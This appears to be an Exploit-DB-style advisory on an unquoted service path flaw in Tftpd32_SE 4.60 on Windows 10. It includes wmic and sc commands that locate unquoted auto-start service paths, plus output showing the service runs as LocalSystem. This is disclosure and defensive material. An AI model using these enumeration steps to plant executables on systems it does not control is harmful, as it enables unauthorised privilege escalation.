Tftpd32_SE 4.60 - 'Tftpd32_svc' Unquoted Service Path

vendor:

Tftpd32_SE

by:

Ismael Nava

5.5

CVSS

MEDIUM

Unquoted Service Path

CWE

Product Name: Tftpd32_SE

Affected Version From: 4.6

Affected Version To: 4.6

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Microsoft Windows 10 Home 64 bits

2022

Tftpd32_SE 4.60 – ‘Tftpd32_svc’ Unquoted Service Path

The Tftpd32_SE 4.60 software on Microsoft Windows 10 Home 64 bits is vulnerable to an unquoted service path vulnerability. This can allow an attacker to escalate privileges by placing a malicious executable in the path. The vulnerability was discovered by Ismael Nava.

Mitigation:

The vendor has not provided a patch or mitigation for this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Tftpd32_SE 4.60 - 'Tftpd32_svc' Unquoted Service Path
# Discovery by: Ismael Nava
# Discovery Date: 10-13-2022
# Vendor Homepage: https://pjo2.github.io/tftpd64/
# Software Links : https://bitbucket.org/phjounin/tftpd64/downloads/Tftpd32_SE-4.60-setup.exe
# Tested Version: 4.60
# Vulnerability Type: Unquoted Service Path
# Tested on OS:  Microsoft Windows 10 Home 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """

Tftpd32 service edition   Tftpd32_svc   C:\Program Files (x86)\Tftpd32_SE\tftpd32_svc.exe   Auto

C:\>sc qc Tftpd32_svc

NOMBRE_SERVICIO: Tftpd32_svc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Tftpd32_SE\tftpd32_svc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Tftpd32 service edition
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem